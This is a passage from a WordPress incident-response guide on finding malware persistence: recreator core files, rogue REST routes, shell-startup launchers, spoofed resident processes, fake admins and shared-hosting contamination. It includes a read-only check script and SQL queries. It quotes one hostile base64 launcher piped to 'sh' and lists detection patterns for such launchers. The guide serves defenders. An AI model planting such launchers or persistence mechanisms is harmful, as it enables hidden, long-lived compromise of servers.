The recreator pattern: one modified core file (often wp-includes/load.php, wp-includes/version.php, or something deep in wp-admin/includes/) runs early in every request and rebuilds the backdoor files, the cron events and the wp_options row, then exits silently. wp core verify-checksums and wp plugin verify-checksums --all catch it for core and WordPress.org plugins; paid plugins, custom plugins and themes need comparison against your own clean copy.

A variant: an attacker with stolen admin credentials edits a legitimate plugin's main file. You reinstall the plugin (correct), and they edit it again with the same credentials. The persistence is in the credentials, which is why Step 7 is not optional.

Custom REST API endpoints

Since WordPress 4.7 the REST API is on by default, and a single PHP file in plugins/ or mu-plugins/ can register a route like POST /wp-json/cache/sync that rebuilds every backdoor when the attacker calls it. The cleanup looks complete for a day, then one request undoes it.

bash
wp rest endpoint list --path=/path/to/wordpress --allow-root | head -50
curl -s https://yoursite.com/wp-json/ | python3 -m json.tool | head -200
grep -rnE "register_rest_route\s*\(\s*['\"]<the-namespace>" /path/to/wordpress/wp-content/

Legitimate namespaces are wp/v2, wp-block-editor/v1, wp-site-health/v1, plus one per real plugin (contact-form-7/v1, wc/v3). Something like wp-cache/v1, wp-utils/v1 or a bare v1 that you can't trace to a plugin is suspect. Delete the registering file, then wp cache flush.

Malware above the WordPress directory

The persistence I see missed most often: the malware is not inside WordPress at all. It sits one directory up in the hosting user's home, running as a process that rewrites wp-config.php from memory every few seconds. You can reinstall WordPress, drop the database, and restore a backup, and the reinfection still comes back. This class is called above-doc-root persistence.

Shell startup file launchers. Attackers append a base64 launcher to ~/.bashrc, ~/.profile, ~/.bash_profile, ~/.zshrc or ~/.config/fish/config.fish, so any shell session for the hosting user respawns the process:

bash
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L2Jpbi9wa2lsbCAtMCAtVTEwMDUgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCAo... ; } | base64 -d | sh

Decoded, it is a test-then-spawn sequence: check whether the rogue process already runs for this user (signal 0, test only), and if not, exec a stashed binary under a fake name.

Resident processes with spoofed names. The binary is usually stashed as ~/.config/htop/defunct with its payload in ~/.config/htop/defunct.dat, and launched with exec -a '[watchdogd]' so it looks like a kernel thread in ps.

bash
grep -rE 'base64|eval|exec.*-a|defunct|watchdogd' \
  ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null
sudo grep -rE 'base64|eval|exec.*-a' /home/*/.bashrc /home/*/.profile /home/*/.bash_profile 2>/dev/null

ps -u "$WEB_USER" -o pid,etime,comm,args
ps -eo user,pid,comm | awk '$1!="root" && $3 ~ /^\[.*\]$/'
ps aux | grep -E '\[watchdogd\]|defunct|kthreadd' | grep -v grep
find ~ -type f \( -name 'defunct' -o -name 'defunct.dat' \) 2>/dev/null

Kill the process, delete the binary, clean the startup file, remove any cron entry that respawns it, and rotate the SSH key used to plant it. Miss one and it comes back.

Three things make this layer the worst one to leave behind: nothing inside WordPress scans there, the reinfection cycle is sub-second, and it survives every WordPress reinstall, even a new install on another domain in the same hosting account.

Why every WordPress security plugin misses it. Wordfence, Sucuri Security, iThemes Security Pro (Solid Security), MalCare, Jetpack Scan and WP Activity Log all run as PHP with the WordPress user's permissions. They scan /wp-content/, the database, .htaccess and wp-config.php. They cannot list processes, read ~/.bashrc, look in ~/.config/ or /tmp/, or read /etc/cron.d/. Patchstack is a vulnerability database with virtual patches, not a file scanner. Hosting scanners vary: ImunifyAV often scans the whole user home, cheap shared-host variants often don't, and the cPanel report rarely says what was scanned. When Wordfence says clean but wp-config.php keeps reinjecting, Wordfence is working correctly inside its boundary and the malware is outside it. The structural fix is monitoring that runs as root, covered in server-side file integrity monitoring.

Most cleaners can't even look here. Freelance, agency and paid cleanup services (Wordfence, Sucuri, MalCare) usually get WordPress admin plus SFTP jailed to public_html/, with no SSH. cPanel Terminal runs as the hosting user and cannot see other users' processes or /etc/cron.d/. If the shared server itself is compromised above your account, no cleanup inside your account will fix it; the site has to move. For a site that keeps getting reinfected, the answer is someone with full server access: the host's security team on managed hosting, or root over SSH on a VPS.

Campaigns in this class:

  • Balada Injector (2017 to present): the longest-running WordPress mass-compromise campaign Sucuri has tracked. Drops files in wp-includes/ and theme functions.php, creates fake admins like wpsupport or wpsupp-user, writes redirects into the database, and newer waves add server cron and binary stashes outside the doc root. Estimated 1+ million sites cumulatively.
  • Sign1 (Sucuri research, 2024): about 39,000 sites, JavaScript injected through custom HTML widgets, plus shell-level backdoors on affected accounts.
  • WP-VCD (2017 to present): spread through nulled commercial plugins. Drops class.wp.php, class.theme-modules.php and a wp_vcd option row; newer variants add user-level cron.
  • Sysrv-hello / Sysrv-K and Kinsing / H2miner (2020 to present): cryptominers that use WordPress as an entry point, drop binaries in /tmp/, /dev/shm/ and ~/.config/, and persist through system cron, systemd timers and authorized_keys.
  • The watchdogd / defunct family (2023 to 2025): the gsyndication.com pattern, with the [watchdogd] name spoofing, the ~/.config/htop/ stash and repeated wp-config.php reinjection.

A persistence check script

This combines the checks above into one read-only pass. Run it from the WordPress directory or pass the path; it reports candidates and never deletes.

wp-persistence-check.shSurveys every WordPress persistence layer for anomalies. Reports only.Download
bash
#!/usr/bin/env bash
# wp-persistence-check.sh, survey every WordPress persistence layer for anomalies.
# Source: https://techearl.com/wordpress-malware-removal
# Site:   https://techearl.com/
# Reports candidates; does NOT modify or delete.
#
# Usage:
#   ./wp-persistence-check.sh /path/to/wordpress
#
# Requires: wp-cli (for the WordPress-level checks), bash, find, grep.

set -e
WP_ROOT="${1:-$PWD}"
WEB_USER="$(stat -c '%U' "$WP_ROOT/wp-config.php" 2>/dev/null || stat -f '%Su' "$WP_ROOT/wp-config.php")"

echo "=========================================="
echo "  WordPress Persistence Check"
echo "  Root:     $WP_ROOT"
echo "  Web user: $WEB_USER"
echo "=========================================="

echo
echo "--- 1. Server cron for $WEB_USER ---"
sudo -u "$WEB_USER" crontab -l 2>/dev/null || echo "  (no crontab for $WEB_USER)"
echo "--- system-wide cron ---"
sudo ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null | head -20

echo
echo "--- 2. auto_prepend_file in .htaccess ---"
find "$WP_ROOT" -name '.htaccess' -exec grep -lE 'auto_(pre|ap)pend_file' {} \;

echo
echo "--- 3. wp-config.php anomalies ---"
grep -nE '@?(include|require)|eval\(|base64_decode|gzinflate|preg_replace.*/e' "$WP_ROOT/wp-config.php" || echo "  (clean)"
grep -nE "define\s*\(\s*['\"]WP_(CONTENT|PLUGIN)_DIR" "$WP_ROOT/wp-config.php" || echo "  (no WP_CONTENT_DIR override)"

echo
echo "--- 4. mu-plugins contents ---"
ls -la "$WP_ROOT/wp-content/mu-plugins/" 2>/dev/null || echo "  (mu-plugins absent, normal)"

echo
echo "--- 5. drop-ins ---"
for dropin in advanced-cache.php object-cache.php db.php sunrise.php; do
  if [ -f "$WP_ROOT/wp-content/$dropin" ]; then
    echo "  PRESENT: wp-content/$dropin"
  fi
done

echo
echo "--- 6. Big autoloaded wp_options rows ---"
wp option list --autoload=on --format=csv --fields=option_name,size_bytes \
  --path="$WP_ROOT" --allow-root 2>/dev/null \
  | sort -t, -k 2 -n -r | head -15

echo
echo "--- 7. WP-Cron events (look for unrecognized hooks) ---"
wp cron event list --format=table --fields=hook,next_run_relative \
  --path="$WP_ROOT" --allow-root 2>/dev/null | head -30

echo
echo "--- 8. Core checksum verification ---"
wp core verify-checksums --path="$WP_ROOT" --allow-root 2>&1 | head -20

echo
echo "--- 9. REST API routes (unfamiliar namespaces are suspicious) ---"
wp rest endpoint list --format=csv --fields=route --path="$WP_ROOT" --allow-root 2>/dev/null \
  | awk -F/ '{print "/"$2"/"$3}' | sort -u

echo
echo "--- 10. Shell startup files for $WEB_USER ---"
WEB_HOME=$(getent passwd "$WEB_USER" | cut -d: -f6)
sudo grep -lE 'base64|eval|exec.*-a|defunct|watchdogd' \
  "$WEB_HOME/.bashrc" "$WEB_HOME/.bash_profile" "$WEB_HOME/.profile" "$WEB_HOME/.zshrc" 2>/dev/null \
  || echo "  (no suspicious patterns in shell startup files)"

echo
echo "--- 11. Resident processes for $WEB_USER ---"
ps -u "$WEB_USER" -o pid,etime,comm,args 2>/dev/null | head -40
echo "  ^ anything in [brackets] owned by a non-root user is suspicious"

echo
echo "--- 12. Stashed binaries in user home ---"
sudo find "$WEB_HOME" -type f \( -name 'defunct' -o -name 'defunct.dat' -o -name '.htop' \) 2>/dev/null
sudo ls -la "$WEB_HOME/.config/htop/" 2>/dev/null || true

echo
echo "=========================================="
echo "  Review each section. Anything you can't"
echo "  attribute to a legitimate plugin or theme"
echo "  is a candidate for removal."
echo "=========================================="

Order of operations when the site keeps reinfecting

When the persistence check finds anything, the order matters more than the commands:

  1. Take the site offline and snapshot it (Steps 1 and 2).
  2. Run the persistence check and note every anomaly.
  3. Kill resident rogue processes and clean shell startup files first. If a process is rewriting files from memory, nothing else you do sticks.
  4. Clean server cron, or it respawns the process you just killed.
  5. Clean .htaccess auto_prepend_file, then wp-config.php, and rotate the salts.
  6. Replace mu-plugins, drop-ins and modified core files from clean sources.
  7. Clean wp_options and WP-Cron at the same time as the files (Step 5).
  8. Remove suspicious REST endpoints.
  9. Rotate every credential (Step 7), bring the site back, and watch the access logs for 48 hours.

Find and remove fake WordPress admin users

A fake admin is an administrator account nobody legitimate created. The account is the symptom; the mechanism creating it is the problem. Delete the account without finding the mechanism and it (or one with a slightly different name) comes back.

What a fake admin looks like

  • A recent user_registered time nobody can account for.
  • A throwaway email at a freemail or temp-mail provider, or a domain that doesn't exist.
  • A randomized or imitation username: adm1n_x42, wpsupport, helpadmin, admin2, john1.
  • The administrator capability in wp_usermeta. That is what makes it dangerous.
  • Sometimes a hiding trick so the account doesn't show in the Users screen.

Step 5c lists every administrator. These queries surface the stronger signals (set the table prefix in the panel at the top of the page):

SQL
-- Admins with no display name set (legitimate admins almost always have one)
SELECT u.ID, u.user_login, u.user_email, u.display_name, u.user_registered
FROM :{table_prefix}users u
WHERE u.display_name = u.user_login
AND EXISTS (
  SELECT 1 FROM :{table_prefix}usermeta m
  WHERE m.user_id = u.ID
    AND m.meta_key = ':{table_prefix}capabilities'
    AND m.meta_value LIKE '%administrator%'
);

-- Disposable or pattern-generated email addresses
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM :{table_prefix}users u
WHERE u.user_email REGEXP '@(yopmail|mailinator|guerrillamail|tempmail|10minutemail|throwawaymail|maildrop|trashmail)\\.'
 OR u.user_email REGEXP '^[a-z]{6,}[0-9]{3,}@(gmail|yahoo|outlook|protonmail)\\.';

-- Suspicious usernames
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM :{table_prefix}users u
WHERE u.user_login REGEXP '^(adm1n|wpadmin|wpsupport|helpadmin|admin[0-9]+|support[0-9]+|root[0-9]?|sys[0-9]+)$'
 OR u.user_login REGEXP '^[a-z]+[0-9]{3,}$';

-- Admins with zero authored posts (often pure backdoor accounts)
SELECT u.ID, u.user_login, u.user_email, u.user_registered,
     (SELECT COUNT(*) FROM :{table_prefix}posts p WHERE p.post_author = u.ID) AS posts
FROM :{table_prefix}users u
WHERE EXISTS (
SELECT 1 FROM :{table_prefix}usermeta m
WHERE m.user_id = u.ID
  AND m.meta_key = ':{table_prefix}capabilities'
  AND m.meta_value LIKE '%administrator%'
)
HAVING posts = 0
ORDER BY u.user_registered DESC;

-- Multisite: network super-admins live here, not in any subsite's user list
SELECT option_value FROM :{table_prefix}sitemeta WHERE meta_key = 'site_admins';

No single signal is proof. An admin with no display name, a throwaway email, a randomized username and zero posts almost always is. Always check the database rather than the Users screen: some malware adds a custom meta flag like _wp_user_hidden that a sloppy admin plugin respects, and a backdoor plugin can filter the list through pre_get_users or users_pre_query.

The four mechanisms that create them

1. A plugin CVE that creates admins without logging in. The ones I've seen as entry points:

CVEPluginAffected versionsFixedImpact
CVE-2017-9603WP Statisticsbefore 12.0.812.0.8 (2017)SQL injection leading to admin account creation
CVE-2024-2879LayerSlider7.9.11 to 7.10.07.10.1 (March 2024)Unauthenticated SQL injection; data extraction and admin creation
CVE-2024-28000LiteSpeed Cachebefore 6.4.16.4.1 (Aug 2024)Unauthenticated privilege escalation to admin in one request
CVE-2023-40000LiteSpeed Cache5.7 and earlier5.7.0.1 (Oct 2023)Unauthenticated sitewide stored XSS through an unprotected REST endpoint; runs in the next admin's session, which can then add an admin
CVE-2021-24884Formidable Formsbefore 4.09.054.09.05 (2021)Unauthenticated HTML injection and stored XSS; if a logged-in admin clicks the injected link, the attacker's JavaScript runs with that admin's session

Track the Patchstack database or Wordfence threat intel for new ones.

2. A backdoor file that recreates the user on every request, usually in uploads/, mu-plugins/ or a plugin directory, disguised as a cache file:

bash
grep -rnE "wp_(create|insert)_user|add_user_to_blog|wp_update_user.*role.*admin" \
:wp_root/wp-content/ \
--include="*.php" 2>/dev/null

Legitimate registration code calls wp_create_user too, so read each match in full.

3. A WP-Cron hook that recreates the user on a timer. Malicious hook names imitate real ones: wp_admin_check, wp_user_sync, wp_db_maintenance. Find what a hook calls:

bash
wp cron event list --path=:wp_root --allow-root --format=table
grep -rnE "add_action\s*\(\s*['\"]<hook-name>['\"]|wp_schedule_event.*['\"]<hook-name>" :wp_root/wp-content/

4. Stolen credentials. The attacker logs in and adds an admin through the normal Users screen. No file, no task, no CVE. Compare account creation times against when the real admins were active; an account created at 03:14 UTC while everyone was asleep came from a compromised session.

Delete them in the right order

Stop the mechanism first, or the next request recreates the account:

  1. Delete any backdoor file that creates users.
  2. Clear WP-Cron with wp option delete cron; WordPress and your plugins re-register their legitimate hooks.
  3. Update or remove the vulnerable plugin.
  4. Rotate every admin password and the wp-config.php salts, and add 2FA.

Before deleting, investigate read-only. Don't log in as the account or reset its password and log in. Query its meta, its posts and its session_tokens meta row directly. Then delete:

bash
# Single site
wp user delete <user_id> --reassign=1 --path=:wp_root --allow-root

# Multisite
wp user remove-role <user_id> administrator --url=<subsite-url> --path=:wp_root --allow-root
wp user delete <user_id> --network --reassign=1 --path=:wp_root --allow-root

Without WP-CLI, clean three tables:

SQL
-- Replace 99, 100, 101 with the IDs you confirmed are malicious
UPDATE :{table_prefix}posts SET post_author = 1 WHERE post_author IN (99, 100, 101);
DELETE FROM :{table_prefix}usermeta WHERE user_id IN (99, 100, 101);
DELETE FROM :{table_prefix}users WHERE ID IN (99, 100, 101);

On multisite, also clean each subsite's wp_X_capabilities meta rows and the site_admins list. And don't trust a security plugin's "Last login: Never" column: if the malware disabled the plugin right after creating the account, no login was ever logged.

Cross-site contamination on shared hosting

If several sites in one shared hosting account get infected at once, the cause is structural, not bad luck. On budget shared hosting every site in the account is owned by the same Linux user, and PHP runs as that user (suPHP, mod_ruid2, or a per-account PHP-FPM pool). A PHP shell dropped on site1.com can read site2.com's wp-config.php (database credentials, salts, API keys), write backdoors into every sibling's index.php or theme functions.php, and create admin users in every database. No privilege escalation is needed; subdirectories are organisation, not a security boundary. That is why "I cleaned site A and now site B is infected" is such a common report.

Confirm the account is exposed

bash
# Same owner on every site directory = shared-user architecture
ls -la ~/public_html/

# Is open_basedir set? Empty means PHP can read anything the user owns
php -i 2>/dev/null | grep -E "^\s*(open_basedir|disable_functions)" | head

# Apache user-switching modules, and per-site PHP-FPM pools
apachectl -M 2>/dev/null | grep -iE "suexec|ruid|itk"
ls /etc/php/*/fpm/pool.d/ 2>/dev/null

The authoritative test is a throwaway PHP file in one site that checks is_readable() on a sibling's wp-config.php. If it can, cross-contamination is possible. Delete that file the moment the test finishes: an unauthenticated probe that confirms cross-site readability is its own risk.

Clean every site in the account together

  1. Take all sites offline at once. Cleaning one at a time means the clean ones get reinfected from the dirty ones within minutes.
  2. Snapshot every site's files and database for forensics.
  3. Kill the process above the document roots first. The reinfector usually lives in the hosting user's home directory, with the same dotfiles and stash location described in Malware above the WordPress directory, and it hits every install in parallel.
  4. Clean one site at a time, smallest first, running this whole playbook including the persistence checks. Between sites, audit shared locations such as ~/tmp/, ~/.cache/ and ~/cgi-bin/.
  5. Rotate every credential for every site, plus the control panel and SFTP/SSH. Each site should also get its own database user scoped to its own database; one broad MySQL user lets the attacker write to every database.
  6. Fix the architecture, then bring sites back one at a time while watching the access logs.

If the malware lives above your account (or above the doc root) and you have no SSH, no in-WordPress scanner (Wordfence, Sucuri, Solid Security, Patchstack, MalCare, Jetpack Scan) can see it. Escalate to the host with evidence, or move to hosting where you have a shell.

The structural fixes

FixWhat it doesCaveat
Per-site open_basedirBlocks PHP reads outside the site's directoryHas a history of bypasses (symlink races, glob://); a layer, not a wall
suEXEC, mod_ruid2, mod_itk or per-user PHP-FPM poolsRuns each site's PHP as its own Linux user, so file permissions enforce the boundaryNeeds per-site file ownership; on cPanel usually sold as "Account Isolation" or CloudLinux CageFS
Managed WordPress hostEach site in its own containerCosts more per site than budget shared hosting
VPS with per-site usersSame isolation, built by handYou own OS updates, backups and certificates

On a VPS, the per-site pool is a few lines (Debian/Ubuntu paths):

bash
sudo adduser --system --group --shell /bin/bash site1
sudo mkdir -p /var/www/site1.com/public
sudo chown -R site1:site1 /var/www/site1.com
sudo chmod -R 750 /var/www/site1.com

sudo tee /etc/php/8.3/fpm/pool.d/site1.conf <<EOF
[site1]
user = site1
group = site1
listen = /run/php/php-fpm-site1.sock
listen.owner = www-data
listen.group = www-data
pm = ondemand
pm.max_children = 10
php_admin_value[open_basedir] = /var/www/site1.com/:/tmp/
EOF
sudo systemctl restart php8.3-fpm

Point each site's Nginx server block at its own socket. If contamination happened once on a hosting product, it will happen again there; cleaning without changing the architecture is half the job.

Off-server backups (3-2-1) with verified restores

A backup plugin running inside WordPress (UpdraftPlus, BackWPup, and the like) has the same file permissions and database access as the malware. The failure modes I see in cleanups: the attacker hooks the backup's completion event and overwrites the fresh archive with a zero-byte file while the dashboard says "Backup complete"; reads the S3, Dropbox or Google Drive tokens from wp_options and deletes the off-site copies; removes the plugin from active_plugins so it silently stops running; or patches it to leave the persistence files out of the archive. Whoever controls the site controls that backup.

The fix is the 3-2-1 rule (3 copies, 2 media, 1 off-site) run outside the WordPress trust boundary: copy one is the live site, copy two a server-side encrypted snapshot, copy three encrypted object storage, both written by a root-level cron with credentials under /root/, where PHP cannot read them. I use restic for object-storage destinations (S3, B2, Wasabi, rsync.net) and borg when the destination is SSH to a backup server.

bash
# A backup user with no login, read-only ACLs on the site
sudo useradd --system --shell /usr/sbin/nologin --home-dir /var/lib/backup backup
sudo setfacl -R -m u:backup:rX :wp_root
sudo setfacl -dR -m u:backup:rX :wp_root

# A MySQL user that can only dump, scoped to one database
sudo mysql -e "CREATE USER 'backup'@'localhost' IDENTIFIED BY 'STRONG_RANDOM_HERE';
GRANT SELECT, LOCK TABLES, SHOW VIEW, EVENT, TRIGGER ON :db_name.* TO 'backup'@'localhost';
FLUSH PRIVILEGES;"

The nightly job, run from root's crontab (I use 17 3 * * *, off the hour), dumps with mysqldump --defaults-extra-file=/root/.my-backup.cnf --single-transaction --quick --routines --triggers --events, then runs restic backup as the backup user over the WordPress tree and the dump, then restic forget --keep-daily 14 --keep-weekly 8 --keep-monthly 12 --keep-yearly 5 --prune. Keep a copy of the restic password outside the server (add a second recovery key with restic key add); a repository whose only password lived on the wiped server is unreadable.

Verify a restore every month. A backup that has never been restored is a hope. Restore the latest snapshot to a scratch directory, load the dump into a scratch database, and check that wp_posts has a sensible row count and siteurl is set:

bash
restic restore latest --target /var/lib/backup/restore-test
zcat "$(find /var/lib/backup/restore-test -name '*.sql.gz' | sort | tail -1)" \
  | mysql --defaults-extra-file=/root/.my-restore.cnf wp_restore_test
mysql --defaults-extra-file=/root/.my-restore.cnf -BN \
  -e "SELECT COUNT(*) FROM wp_restore_test.wp_posts;"

Put the check on a calendar, not only in cron, so a human confirms it passed.

After a compromise, the latest backup is the wrong one. Use the entry-point date from Step 3 as T0, pick a snapshot from before it (long monthly and yearly retention exists for compromises discovered months later), mount it with restic mount and diff -rq it against the live tree, then restore files and database from pre-T0 and re-add legitimate later changes by hand: posts from the dashboard, plugins fresh from wordpress.org, and every post-T0 upload checked for PHP disguised as an image.

No shell access? Use your host's hypervisor-level snapshots first (outside WordPress by design, usually 14 to 30 days of retention). If you must use a plugin with a cloud destination, turn on versioning at the destination, use a separate cloud account just for backups, rotate those credentials, and download a copy to your own machine weekly; that local copy is the one an attacker inside WordPress cannot reach.

Common attack vectors at a glance

The recurring patterns in the cleanups I've done, ranked by how often I see them across the sites I clean. The specific plugin names in the first row have changed over the years (TimThumb and RevSlider dominated 2014-2016, the list keeps growing through every CVE cycle); the pattern is the same.

VectorSymptomFix
Vulnerable plugin (RevSlider, TimThumb, and every CVE-of-the-year since)PHP shell in wp-content/uploads/Update or remove plugin, delete shells, rotate DB password
wp-login.php brute forceHidden admin user, no other file changesReset all user passwords, enable 2FA, rate-limit wp-login
XML-RPC brute forceSame as wp-login but no record of failed loginsDisable xmlrpc.php, rate-limit, rotate passwords
Stolen FTP credentialsFiles modified outside any WordPress code pathRotate SFTP / SSH credentials, prefer SSH keys, audit ~/.ssh/authorized_keys
Compromised admin passwordHidden admin user, plugins suddenly installedReset passwords, enable 2FA, check for password reuse on other sites
Server-level compromise (other site on the same hosting account)Files in WordPress modified by a user other than the WordPress userMigrate to isolated hosting; cleanup alone doesn't fix this
wp-config.php injection (various campaigns over the years; the gsyndication family is the current example)Mysterious script tags in front-end HTML; wp-config.php is modifiedSee dedicated walkthrough
Database-only persistenceCleanup keeps reverting; files reappearClean wp_options, posts, cron (Step 5) before recleaning files

Common mistakes I see in cleanups

The bugs that turn a one-day cleanup into a one-month cleanup:

Restoring from a backup taken after the compromise. Your hosting provider's "automatic" backups are dated. If they all started after the compromise, every backup carries the malware. Check the backup contents by mounting and grepping the same patterns as Step 4c. If every available backup is dirty, you do the cleanup from scratch, no shortcut.

Cleaning files but not the database. Single most common reason for reinfection. The payload lives in wp_options, a surviving loader reads it on the next request, rewrites the deleted file, and laughs. Always do Step 5.

Trusting the malware scanner as the source of truth. Scanners find known signatures. Custom-built or new malware can sit in plain sight and pass every scan. Your eyes on the access log and the file modification times are the only thing that catches novel patterns.

Putting the site back online before closing the entry point. If you cleaned everything but didn't update the vulnerable plugin, the same attacker visits the same URL and reinstalls everything in under 60 seconds. They're scanning continuously.

Skipping credential rotation. "But nobody else has the password." If the site was compromised, you don't know what was stolen. Rotate everything.

Reinstalling a paid plugin from the compromised site's existing files. Those files are infected. Get the plugin from the vendor's account, not from the server's wp-content/plugins/.

Forgetting wp-config.php and .htaccess. These two files are NEVER in rsync --delete from the core download (you exclude them deliberately to preserve config and rewrite rules), so they survive the file-system cleanup. They're also the most common single hiding place. Always read them line by line.

Cleaning one site on shared hosting without cleaning the others. If the attacker is in via the hosting account, they're in everyone's site. Clean ALL sites in the account at once, or move the recovered site to fresh hosting (see cross-site contamination).

Deleting a fake admin before killing what creates it. The Delete User screen cleans wp_users and wp_usermeta properly, but if a backdoor file or cron hook is the creator, the account is back within minutes. Stop the mechanism first.

Trusting the checksum results blindly. wp core verify-checksums covers only core, and wp plugin verify-checksums --all only WordPress.org plugins. Extra files (mu-plugins, drop-ins), database rows, server cron, paid plugins and themes are all outside what they check.

Stopping when the visible symptoms go away. The site renders, the login works, the logs are quiet, and three days later the backdoor is back. Symptoms going away means one persistence layer is gone. You need all of them gone.

Frequently asked questions

The most reliable signals: Google Search Console flags your site under Security or Manual Actions, your search-result snippets show pharmaceutical or gambling terms instead of your titles ("Japanese SEO spam"), browsers warn visitors with a SafeBrowsing red screen, mysterious <script src="//..."></script> tags appear in the page source that you didn't add, or you find admin users you don't recognize.

Less reliable but worth checking: unusual CPU usage from PHP processes, mail-queue backed up with spam your application didn't send, wp-config.php or .htaccess modification time that's newer than your last deploy.

One false positive worth knowing: thousands of ?wordfence_lh=1&hid=... URLs in Search Console are not malware. That's Wordfence's own Live Traffic beacon, and the fix is a plugin setting, not a cleanup.

Only if you have a backup that predates the compromise. Most "automatic" hosting backups are 7-14 days deep; if the compromise is older than that, every available backup is already infected. Verify the date by mounting the backup and grepping for the same suspicious patterns you'd grep on the live site (see Step 4c). If everything checks out clean, restoring is the fastest path. If it doesn't, you still have to do the cleanup.

Even with a clean backup, you must close the original entry point before bringing the site back. Otherwise the attacker re-exploits it within hours.

Almost certainly the database. WordPress autoloads many rows from wp_options on every request, and malware regularly parks a copy of its payload there. The option does not run by itself: a small loader left in a plugin, theme, mu-plugin or cron event reads it on the next request and evaluates it or writes the deleted files back out. Step 5 in this guide covers finding the row; delete it and the loader together.

The other possibility: a WordPress cron task is reinstalling the malware on a schedule. Check SELECT option_value FROM wp_options WHERE option_name='cron' for hook names that don't match any plugin or theme you have installed.

If both are clean, work through the rest of the recreators in Why WordPress malware keeps coming back: server crontab, auto_prepend_file, mu-plugins, drop-ins, modified core files, custom REST endpoints, and a resident process above the WordPress directory.

WP-Cron is a list of hook names and timestamps stored inside WordPress (in wp_options.cron). WordPress checks it on page loads and fires any hooks that are due. Editing it needs only WordPress admin or database access.

Server cron is the operating system's scheduler (crontab, /etc/cron.d/, systemd timers). It runs independently of WordPress and survives a reinstall, but editing it needs shell access. Attackers use either, so check both.

Usually one of three things: another site in the same hosting account is still compromised and the attacker pivoted back through the shared file system (see cross-site contamination on shared hosting), a server cron entry was missed because it lives outside WordPress, or the database layer (wp_options autoload plus WP-Cron) was skipped.

If none of those apply, the original entry point is still open. Finding the original entry point covers the log forensics that closes it.

The mechanism that creates them is still in place: a backdoor PHP file calling wp_create_user, a WP-Cron hook that recreates the account on a timer, the original plugin CVE still unpatched, or stolen admin credentials. Search the files and cron list for the first two, check the access logs for repeat probes for the third, and rotate every admin password and add 2FA for the fourth. The full order is in Find and remove fake WordPress admin users.

It stops logins with stolen passwords. It does not stop a plugin CVE that creates an account without logging in. 2FA is necessary but not sufficient: keep plugins updated, remove unused ones, rate-limit logins with fail2ban, disable XML-RPC if you don't use it, and audit the user list periodically.

The plugin is no longer trustworthy regardless of whether the infection is in the plugin or just visible through it. Three paths: (1) check the Wayback Machine for the plugin vendor's download page from before they went under, (2) search GitHub for the plugin's exact Plugin Name header to find any fork, (3) switch the site to a maintained alternative plugin and accept the migration cost.

If none of those work and you have to keep the plugin, get a clean version from your most recent verified-clean backup. If you don't have one, line-by-line audit is the only option. Plan a few days of focused work.

They're useful as one input. They run inside WordPress, so they only see what WordPress can see (files on disk, database rows). They will not detect server-level compromises, malware in cron jobs outside WordPress, or attacker access via SSH and stolen credentials. Treat scanner results as a starting point, not the final word.

I use them on most sites I maintain, alongside server-side scanning with ClamAV or maldet on a daily cron. The combination catches more than either alone.

Commercial cleanup services range from about $200 for a simple file-only infection to $2,000+ for a full incident response on a complex site. Sucuri and Wordfence both offer cleanup services in this range. The cheap end usually does only the file-system pass; the database, credential rotation, and lockdown are extra or assumed-already-done.

If you have shell access, the technical skill to read the patterns above, and a couple of focused hours, you can do the same work yourself. The article you're reading is the methodology I'd hand to a junior security engineer to follow on a real site.

If the site was flagged in Search Console, you submit a re-review request after cleanup via the Security Issues report. Google's re-review is usually 1-3 days. If the site wasn't formally flagged but rankings dropped (because the spam injection hijacked your titles and snippets), recovery follows the next few Googlebot crawls, typically 1-2 weeks for a small site.

The single thing that delays recovery: lingering symptoms. If anything is still injecting tracking scripts or redirecting, Google's next crawl re-detects the compromise and the timer resets. Verify with the second-opinion scans in Step 9 before requesting re-review.

See also

External references: the Wordfence cleanup guide and Sucuri cleanup guide are reasonable second references, both biased toward their own paid scanners. For the standards perspective, the OWASP WordPress Security Cheat Sheet covers the authentication side, and WordPress's own hardening documentation is the official baseline.

If you got hit by a specific malware family and want it covered as its own walkthrough, get in touch. The most-asked compromises end up as their own articles in this WordPress Security series.

Sources

Authoritative references this article was fact-checked against.

TagsWordPressSecurityMalwarePersistenceFake Adminwp-configwp_optionsIncident ResponseShared HostingBackups

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Systems and Network Architect · Chief Technology Officer

Systems and network architect and Chief Technology Officer with more than two decades designing, building, and running production software, cloud and network architecture, Linux systems, and the bare metal underneath them, and lately working AI into the stack. A US Army veteran who served in Operation Iraqi Freedom. What I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

How to remove a leaked secret like an API key or password from Git history using git filter-repo or BFG.

How to Remove a Secret from Git History

Committed an API key or password? Deleting it in a new commit does not remove it. Rotate the credential first, then scrub it from all history with git filter-repo or BFG.

Remove empty, null, false, or empty-string values from a PHP array. Covers array_filter, the '0 gets removed' gotcha, array_values re-indexing, multidimensional cleanup, and a performance comparison.

How to Remove Empty Values from an Array in PHP

Drop empty, null, or false values from a PHP array with array_filter and the right callback. Includes the '0 gets removed' gotcha, the array_values re-index pattern, multidimensional cleanup, and a performance comparison.